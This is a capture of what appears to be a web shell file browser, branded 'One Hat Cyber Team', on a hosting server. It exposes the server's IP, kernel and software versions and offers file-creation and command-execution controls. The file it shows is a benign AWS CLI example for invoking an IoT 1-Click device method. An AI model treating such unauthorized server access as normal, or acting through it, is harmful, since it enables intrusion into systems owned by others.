⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
awscli
/
examples
/
iot1click-devices
/
View File Name :
invoke-device-method.rst
**To invoke a device method on a device** The following ``invoke-device-method`` example invokes the specified method on a device. :: aws iot1click-devices invoke-device-method \ --cli-input-json file://invoke-device-method.json Contents of ``invoke-device-method.json``:: { "DeviceId": "G030PM0123456789", "DeviceMethod": { "DeviceType": "device", "MethodName": "getDeviceHealthParameters" } } Output:: { "DeviceMethodResponse": "{\"remainingLife\": 99.8}" } For more information, see `Using AWS IoT 1-Click with the AWS CLI
`__ in the *AWS IoT 1-Click Developer Guide*.